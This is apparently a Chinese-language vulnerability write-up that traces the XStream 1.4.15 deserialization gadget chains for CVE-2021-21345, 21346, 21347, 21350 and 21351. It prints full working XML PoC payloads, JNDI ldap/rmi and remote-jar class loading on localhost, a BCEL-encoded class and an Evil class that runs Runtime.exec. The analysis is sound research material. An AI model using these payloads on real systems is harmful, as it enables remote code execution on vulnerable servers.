com.sun.xml.internal.ws.message.JAXBAttachment#getInputStream
com.sun.xml.internal.ws.message.JAXBAttachment#asInputStream
com.sun.xml.internal.ws.message.JAXBAttachment#writeTo
com.sun.xml.internal.ws.db.glassfish.BridgeWrapper#marshal
com.sun.xml.internal.bind.api.Bridge#marshal
com.sun.xml.internal.bind.v2.runtime.BridgeImpl#marshal
com.sun.xml.internal.bind.v2.runtime.MarshallerImpl#write
com.sun.xml.internal.bind.v2.runtime.XMLSerializer#childAsXsiType
com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl#serializeURIs
com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection#get
com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData
com.sun.rowset.JdbcRowSetImpl#connect

关键点在com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection#get

image-20210804182242246

这里存在invoke函数,导致整个链可以连通。

image-20210804183142196

可以看到invoke到com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData中,并最终在JdbcRowSetImpl的connect方法中通过JNDI去lookup事先封装在JdbcRowSetImpl的dataSource中的恶意地址:

image-20210804183420058

其实整个链的关键点是这里的get方法:

image-20210804182242246

XStream不受Serializable接口限制,所有类都可以实例化,导致链过程中的很多节点都可以参与序列化。

CVE_2021_21345

XStream:1.4.15

漏洞成因

和21344长得很像,出发点是一样的PriorityQueue,RCE触发点是com.sun.corba.se.impl.activation.ServerTableEntry

唯一的不同点在于:

21344使用JdbcRowSetImpl去远程加载恶意类来到本地执行恶意代码;

21345使用com.sun.corba.se.impl.activation.ServerTableEntry类直接在本地执行恶意代码

PoC

来自官网:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>open /Applications/Calculator.app</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

调试:

前半部分还是一样,一样是到了get方法去invoke,invoke的目标方法就是

image-20210806193915558

我们直接去com.sun.corba.se.impl.activation.ServerTableEntryverify方法打上断点好了,跟到verify:

image-20210806195221879

直接触发了Runtime.getRuntime().exec("open /Applications/Calculator.app");

CVE_2021_21346

XStream:1.4.15

漏洞成因

师兄wh1t3p1g提交的,利用的是ldap恶意reference

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='javax.swing.MultiUIDefaults' serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>0</int>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale>zh_CN</defaultLocale>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults>
<default>
<tables>
<javax.swing.UIDefaults serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>1</int>
<string>lazyValue</string>
<sun.swing.SwingLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<args>
<string>ldap://localhost:1099/CallRemoteMethod</string>
</args>
</sun.swing.SwingLazyValue>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
</javax.swing.UIDefaults>
</tables>
</default>
</javax.swing.MultiUIDefaults>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

调试:

利用的是LazyValue

关键调用链:

1
2
3
4
5
6
7
8
javax.naming.ldap.Rdn$RdnEntry.compareTo
com.sun.org.apache.xpath.internal.objects.XString.equals
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()

createValue里面出现了invoke,也是一个关键的节点,invoke了构造好的javax.naming.InitialContext.doLookup()方法

image-20210806200548285

doLookUp对恶意类的reference进行了调用,漏洞触发。

CVE_2021_21347

XStream:1.4.15

jdk: 8u231

漏洞成因

远程类加载,类实例化执行静态代码块

PoC

来自官网:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
<names class='java.util.AbstractList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount>
<outer-class class='java.util.Arrays$ArrayList'>
<a class='string-array'>
<string>Evil</string>
</a>
</outer-class>
</names>
<processorCL class='java.net.URLClassLoader'>
<ucp class='sun.misc.URLClassPath'>
<urls serialization='custom'>
<unserializable-parents/>
<vector>
<default>
<capacityIncrement>0</capacityIncrement>
<elementCount>1</elementCount>
<elementData>
<url>http://127.0.0.1:8000/Evil.jar</url>
</elementData>
</default>
</vector>
</urls>
<path>
<url>http://127.0.0.1:8000/Evil.jar</url>
</path>
<loaders/>
<lmap/>
</ucp>
<package2certs class='concurrent-hash-map'/>
<classes/>
<defaultDomain>
<classloader class='java.net.URLClassLoader' reference='../..'/>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key>
<outer-class reference='../..'/>
</key>
</defaultDomain>
<initialized>true</initialized>
<pdcache/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>-2147483648</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

复现:

我们在本地编写Evil.class打包成同名jar包:

1
2
3
4
5
6
7
8
9
public class Evil {
static{
try{
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}catch (Exception e){
e.printStackTrace();
}
}
}

打包+打开Web服务8000端口:

1
2
3
javac Evil.class
jar cvf Evil.jar Evil.class
python -m SimpleHTTPServer 8000
image-20210809161155903

调试:

threedr3am说他在8u131版本可以复现,实际上144应该也可以

首先PoC里面有一点比较特殊,用到了ObservableList$1这个匿名内部类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public interface ObservableList<E> extends List<E>, Observable {
...
/**
* Creates a {@link SortedList} wrapper of this list with the natural
* ordering.
* @return new {@code SortedList}
* @since JavaFX 8.0
*/
public default SortedList<E> sorted() {
Comparator naturalOrder = new Comparator<E>() {

@Override
public int compare(E o1, E o2) {
if (o1 == null && o2 == null) {
return 0;
}
if (o1 == null) {
return -1;
}
if (o2 == null) {
return 1;
}

if (o1 instanceof Comparable) {
return ((Comparable) o1).compareTo(o2);
}

return Collator.getInstance().compare(o1.toString(), o2.toString());
}
};
return sorted(naturalOrder);
}
}

这里其实new Comparator<E>就是一个匿名内部类

接下来和404SecTeam遇到了一样的坑点,在:

1
2
3
4
5
6
7
8
9
<defaultDomain>
<classloader class='java.net.URLClassLoader' reference='../..'/>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key>
<outer-class reference='../..'/>
</key>
</defaultDomain>

<outer-class>标签处会报错,报错的原因是反序列化的时候找不到这个outer-class属性。

image-20210807192019965

来到对应的类也就是ProtectionDomain$Key这个类中查看一下

1
2
3
4
/**
* Used for storing ProtectionDomains as keys in a Map.
*/
static final class Key {}

本地复现一下404的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class Foo {
private String foocontent;
private Bar bar;

public String getFoocontent() {
return foocontent;
}

public void setFoocontent(String foocontent) {
this.foocontent = foocontent;
}

public Bar getBar() {
return bar;
}

public void setBar(Bar bar) {
this.bar = bar;
}

class Bar {
private String blabla;

public String getBlabla() {
return blabla;
}

public void setBlabla(String blabla) {
this.blabla = blabla;
}

}

public static void main(String[] args) {
Foo foo = new Foo();
Bar bar = foo.new Bar();
bar.setBlabla("hello");
foo.setBar(bar);
XStream xstream = new XStream();
String xml = xstream.toXML(foo);
System.out.println(xml);
}

}
image-20210807192931008

Foo类中有一个内部类Bar,并且Foo类中有一个Bar类型的属性

如果我们在实例化的过程中给bar属性赋值,foo.setBar(foo.new Bar()),引用自身成员内部类,这种情况XStream会使用<outer-class>标识来标注。

PoC这里表示的意思是Key作为一个成员内部类被ProtectionDomain引用,但是在jdk1.8.131中ProtectionDomain$Key是一个静态内部类呀,静态内部类XStream序列化的时候是不会通过<outer-class>标签进行标识的

静态成员类

在Java语言中,类内部可以生明另一个类:

1
2
3
4
5
6
7
8
9
10
public class OuterClass {

private static class StaticInnerClass {

}

private class NoStaticInnerClass {

}
}

内部类可以分为:

  • 静态内部类 :
  • 非静态内部类:内部包含一个this$0 变量指向外部类

所以当然可以利用反射来操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class OuterClass {
public static void main(String[] args) {
Field[] declaredFields = NoStaticInnerClass.class.getDeclaredFields();
Stream.of(declaredFields).forEach(System.out::println);
}

// 有this$0
public class NoStaticInnerClass {

}

public static class StaticInnerClass {

}
}

// final com.sec.exploits.XStream.OuterClass com.sec.exploits.XStream.OuterClass$NoStaticInnerClass.this$0

在非静态内部类中,我们可以任意使用OuterClass.this来获取外部类实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class OuterClass {
public static void main(String[] args) {
NoStaticInnerClass noStaticInnerClass = new OuterClass().new NoStaticInnerClass();
System.out.println(noStaticInnerClass.getOuterClass());
}

// 有this$0
public class NoStaticInnerClass {
public OuterClass getOuterClass() {
return OuterClass.this;
}
}

public static class StaticInnerClass {

}
}

在8u231环境下做实验:

回到之前的说的,用到了ObservableList$1这个匿名内部类,实际上就是Collator.getInstance()

接下来调用了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public default SortedList<E> sorted() {
Comparator naturalOrder = new Comparator<E>() {

@Override
public int compare(E o1, E o2) {
if (o1 == null && o2 == null) {
return 0;
}
if (o1 == null) {
return -1;
}
if (o2 == null) {
return 1;
}

if (o1 instanceof Comparable) {
return ((Comparable) o1).compareTo(o2);
}

return Collator.getInstance().compare(o1.toString(), o2.toString());
}
};
return sorted(naturalOrder);
}

这里 o1和o2是同一个Base64Data对象,目的调用Base64Data.toString方法,toString方法中调用了Base64Data.get方法,在get方法中调用了ByteArrayOutputStreamEx.readFrom()方法,传入的参数is是一个SequenceInputStream对象

image-20210809150227085

此时Base64Data对象:

image-20210809150142184

接下来经过一系列调用,会来到nextStream()方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
final void nextStream() throws IOException {
if (in != null) {
in.close();
}

if (e.hasMoreElements()) {
in = (InputStream) e.nextElement();
if (in == null)
throw new NullPointerException();
}
else in = null;

}

这里会考虑e属性的值,在判断的时候其实会来到hasNext()方法,这里会根据processorCL的内容进行对象的实例化

image-20210809151301208

这里对应PoC中的写法就是:

image-20210809151626276

CVE_2021_21350

XStream:1.4.15

jdk: 8u231

漏洞成因

和CVE-2021-21347类似,这是把远程jar改为了BCEL方式加载

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
<names class='java.util.AbstractList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount>
<outer-class class='java.util.Arrays$ArrayList'>
<a class='string-array'>
<string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c20$Y$3d$85$c9$60$O$e5G$fcW$f0J0Qn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q$b1MwrN$cf$f9$be$b6$fb$fcz$ff$Ap$8a$aa$83$MJ$O$caX$cb$a2bp$dd$c6$86$8dM$86$cc$99$M$a5$3egH$d7$h$3d$G$ebR$3d$K$86UO$86$e2$s$Z$f5Et$cf$fb$B$v$rO$f9$3c$e8$f1H$g$fe$xZ$faI$c6T$c3kOd$d0bp$daS_$8c$b5Talc$8bxW$r$91$_$ae$a41$e7$8c$e9d$c8$t$dc$85$8d$ac$8dm$X$3b$d8$a5$d2j$y$c2$da1$afQ$D$3f$J$b8V$91$8b$3d$ecS$7d$Ta$u$98P3$e0$e1$a0$d9$e9$P$85$af$Z$ca3I$aa$e6ug$de$93$a1$f8g$bcKB$zG$d4$d6$Z$I$3d$t$95z$c3$fb$e7$a1$83$5bb$w$7c$86$c3$fa$c2nWG2$i$b4$W$D$b7$91$f2E$i$b7p$80$rzQ3$YM$ba$NR$c8$R$bb$md$84$xG$af$60oH$95$d2$_$b0$k$9eII$c11$3a$d2$f4$cd$c2$ow$9e$94eb$eeO$820$3fC$d0$$$fd$BZ$85Y$ae$f8$N$93$85$cf$5c$c7$B$A$A</string>
</a>
</outer-class>
</names>
<processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
<parent class='sun.misc.Launcher$ExtClassLoader'>
</parent>
<package2certs class='hashtable'/>
<classes defined-in='java.lang.ClassLoader'/>
<defaultDomain>
<classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key>
<outer-class reference='../..'/>
</key>
</defaultDomain>
<packages/>
<nativeLibraries/>
<assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
<defaultAssertionStatus>false</defaultAssertionStatus>
<classes/>
<ignored__packages>
<string>java.</string>
<string>javax.</string>
<string>sun.</string>
</ignored__packages>
<repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
<__path>
<paths/>
<class__path>.</class__path>
</__path>
<__loadedClasses/>
</repository>
<deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

复现:

按照三梦师傅的Payload生成代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
import java.io.InputStream;

/**
* @author threedr3am
*/
public class Evil {

public Evil() throws IOException {
Runtime.getRuntime().exec("open -a calculator");
}

public static void main(String[] args) throws IOException {
InputStream inputStream = Evil.class.getResourceAsStream("Evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = Utility.encode(bytes, true);
String bcel = "$$BCEL$$" + code;
System.out.println(bcel);
}
}

调试:

加载恶意Class的Classloader不再使用URLClassloader去远程加载,而是采用了com.sun.org.apache.bcel.internal.util.ClassLoader,使用了BCEL的方式来进行恶意代码执行。

CVE_2021_21351

漏洞成因

JdbcRowSetImpl攻击

高版本

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

低版本

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__useServicesMechanism>false</__useServicesMechanism>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

调试:

<sorted-set>是最外层的对象,内部包含着两个javax.naming.ldap.Rdn$RdnEntry成员。

那么在第二个RdnEntry成员加入到sorted-set的时候,会调用Rdn$RdnEntry.compareTo方法

image-20210809182816307 image-20210809183547832 image-20210809183614947 image-20210809183210279

这里m_DTMXRTreeFrag.getDTM()实际上获取SAX2DTM对象,之后调用SAX2DTM#getStringvalue方法:

image-20210809184332065 image-20210809184400149

来到nextNode()方法:

image-20210809184459982

该方法中调用了m_incrementalSAXSource属性也就是POC中封装好的IncrementalSAXSource_Xerces对象的deliverMoreNodes方法。

image-20210809184632899

接下来分别执行:IncrementalSAXSource_Xerces.java:312 来到IncrementalSAXSource_Xerces.parseSome方法

image-20210809184856456

其中这里fConfigParsefPullParserConfigparmsfalse 都可控,之后该方法会通过反射调用JdbcRowSetImpl.setAutoCommit方法,结合JdbcRowSetImpl攻击。

参考

XStream源码解析

1